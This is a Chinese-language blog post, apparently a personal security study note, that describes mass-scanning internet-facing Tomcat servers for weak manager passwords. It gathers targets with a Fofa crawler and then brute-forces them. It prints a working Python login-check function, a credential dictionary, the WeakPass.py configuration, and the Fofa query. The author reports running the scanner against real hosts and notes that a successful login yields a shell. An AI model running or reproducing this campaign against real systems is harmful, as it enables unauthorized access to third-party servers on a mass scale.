本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
这里说的挖洞不是说用大型漏洞扫描器对站点进行全站扫描得到漏洞,而是在你已经发现某个资产的漏洞后,或者使用互联网上的公开漏洞,将漏洞资产最大化。
原理其实很简单,确定目标->目标收集(Fofa爬虫)->编写Python脚本->验收成果
在网上很多漏洞没有被修复,即使是nday,甚至是很多年前的漏洞,也可以在Fofa上找到很多。即使是2014年的HeartBleed漏洞,在互联网上也可以找到很多案例(因为我扫出过)。后续你可以通过这些漏洞资产进行反查域名并上交SRC,这是后话,看你喜欢。
本文以方便起见,就用Tomcat的弱口令漏洞来作为案例。
Tomcat的弱口令可以说是贯穿Tomcat各个版本,其实严格来说并不能算是一个漏洞,但是通过它可以拿shell。所以就通过它来开刀。
这里推荐博主之前写的Fofa爬虫工具,对非VIP用户比较友好。
https://blog.csdn.net/realmels/article/details/128382370
https://github.com/13337356453/FofaSpider
有没有MySQL其实问题不是很大,有的话方便很多,没有的话要自己改脚本。
网上有很多,这里推荐:https://bareth.blog.csdn.net/article/details/107369405
这个其实要自己写,我做了一个Tomcat弱口令的扫描脚本做示例。后期这个项目会不会有其他漏洞的扫描脚本看我心情。
https://github.com/13337356453/Batch-Vulnerabilities/blob/main/Tomcat/WeakPass.py
首先在网站找一个顺眼的漏洞,本文就以Tomcat弱口令漏洞为例。相关的介绍网上有很多。
我从网上随便找了个复现
访问URL,可以看到Tomcat的主界面。
在这里把burpsuite的抓包打开,然后点击右侧的Manage App,弹出登录框,随便输一个之后查看burpsuite中的请求包
看到请求包中有个名为Authorization的参数,后面是一个Basic MTIzOjEyMw==
把Basic后面的内容解密,发现是base64,内容是填入的账号和密码
这里它的弱口令是tomcat:tomcat
使用正确的账密登录,再抓包,查看请求包。
登录错误的请求包响应码为401,登录成功的为200
有了判断脚本,知道登录过程,还没有验证码。这不直接写脚本?
def attack(ip, port, data):
target = 'http://' + ip + ":" + str(port) + '/manager/html'
a = data.split(",")[0] + ":" + data.split(",")[1]
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36",
"Referer": 'http://' + ip + ":" + str(port) + "/",
"Authorization": "Basic " + base64.b64encode(a.encode('utf-8')).decode(),
"Host": ip + ":" + str(port),
"Cache-Control": "max-age=0",
"Connection": "close",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate",
}
try:
r = requests.get(target, headers=headers, verify=False, timeout=5)
if r.status_code == 200 and "JVM" in r.text:
return True
except Exception as e:
pass
登录成功返回True,登录失败返回空气。
Fofa语法:title="tomcat" && status_code="200"
不知道为什么Fofa截图放不出来,所以自己去搜,有130多w个资产
130多万个资产,打个弱口令还是简简单单。
打开FofaSpider工具,根据个人情况填写信息(具体使用方法看https://blog.csdn.net/realmels/article/details/128382370)。普通用户用常规爬取可以搞100条数据,不建议冲会员,很贵。
这里我浅浅收集了100个,看下运气怎么样。
点击导出数据,数据源看个人情况选择,选择导出到MySQL,填写好信息,导出即可。
本文使用的数据库为fofa,存待扫描数据的表为fofadata,存扫描结果的表为tomresult。(手动建一个数据库就好了,其他的表程序会出手)
这个脚本还是要自己写,不过这个扫弱口令的我已经写好了,可以直接用。
再运行之前先在WeakPass.py文件里改一些基础配置
TABLENAME = "tomresult" # 存储扫描结果的表
DATATABLENAME = "fofadata" # 存储数据来源的表
HOST = "127.0.0.1"
PORT = 3306
USER = "root"
PASSWORD = "root"
DATABASE = "fofa" # 数据库
USERS = ['tomcat', 'admin', 'manager'] # 用户名字典
PASSWORDS = ['tomcat', 'admin', '123456', '12345678', 's3cret', 'admin123'] # 密码字典
这里根据具体情况修改
假如,你没有按照我之前的流程走,请自己重写GetTarget函数
大体就是这个流程,通过这个流程来扫描其他漏洞也可以。
最最重要的一点,一定要遵守相关法律法规,禁止使用工具从事违法犯罪行为。
如使用者有任何违法犯罪行为与本文作者无关。